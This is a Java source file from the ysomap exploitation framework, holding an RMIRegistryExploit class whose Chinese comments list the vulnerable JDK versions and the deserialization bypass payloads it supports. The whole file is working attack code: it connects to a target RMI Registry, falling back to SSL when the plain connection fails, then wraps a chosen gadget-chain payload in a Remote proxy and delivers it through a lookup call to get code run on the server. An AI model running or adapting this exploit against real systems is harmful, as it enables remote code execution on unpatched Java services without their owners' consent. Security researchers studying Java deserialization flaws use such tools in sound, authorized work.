package ysomap.exploits.rmi;

import ysomap.common.annotation.*;
import ysomap.common.util.Logger;
import ysomap.common.util.Status;
import ysomap.core.util.PayloadHelper;
import ysomap.exploits.AbstractExploit;
import ysomap.exploits.rmi.component.Naming;
import ysomap.exploits.rmi.component.RMISSLClientSocketFactory;

import java.rmi.ConnectIOException;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * 攻击RMI Registry
 * 条件：
 *    1. jdk < 8u232_09
 *    2. 目标环境存在依赖
 * 对于jdk< 8u121，可以设置任意利用链
 * 对于jdk>=8u121，只能设置RMIConnectWrapped、
 *                      RMIConnectWrappedWithProxy、
 *                      RMIConnectWithUnicastRemoteObject
 *                      RMIConnectCustomized
 *                反弹JRMP连接的方式来利用
 * @author wh1t3P1g
 * @since 2020/2/25
 */
@Exploits
@Authors({Authors.WH1T3P1G})
@Require(bullets = {"all gadgets",
                    "RMIConnectWrapped",
                    "RMIConnectWrappedWithProxy",
                    "RMIConnectWithUnicastRemoteObject",
                    "RMIConnectCustomized"}, param = false)
@Details("RMI Registry攻击包，允许攻击JDK版本小于jdk8u232_b9的RMI Registry服务。\n" +
        "当前利用需要设置一个payload，其中RMIConnect开头的payload均为后续的RMI反序列化绕过方式。\n" +
        "对于高版本的RMI，可以采用这几个payload进行攻击。")
public class RMIRegistryExploit extends AbstractExploit {

    @NotNull
    @Require(name = "target", detail = "target RMI Registry host:port, like localhost:1099")
    public String target;

    @NotNull
    public Object payload;

    public String payloadName;

    @Override
    public void work() {
        try {
            String[] detail = target.split(":");
            if(detail.length == 2){
                Registry registry = LocateRegistry.getRegistry(detail[0], Integer.parseInt(detail[1]));

                // test RMI registry connection and upgrade to SSL connection on fail
                try {
                    registry.list();
                } catch(ConnectIOException ex) {
                    registry = LocateRegistry.getRegistry(detail[0], Integer.parseInt(detail[1]), new RMISSLClientSocketFactory());
                }

                String name = "pwned" + System.nanoTime();
                Remote remote = null;
                if(payload instanceof Remote){
                    remote = (Remote) payload;
                } else{
                    remote = PayloadHelper.createMemoitizedProxy(PayloadHelper.createMap(name, payload), Remote.class);
                }
                try{
                    Naming.lookup(registry, remote);
                }catch (Throwable e){
                    Logger.error(e.toString());
                }
            }

        } catch (Exception e) {
            Logger.error(e.getMessage());
        }
    }

    @Override
    public void stop() {
        status = Status.STOPPED;
    }

    @Override
    public String toString() {
        return "RMIRegistryExploit{" +
                "target='" + target + '\'' +
                ", payload=" + payloadName +
                '}';
    }

}
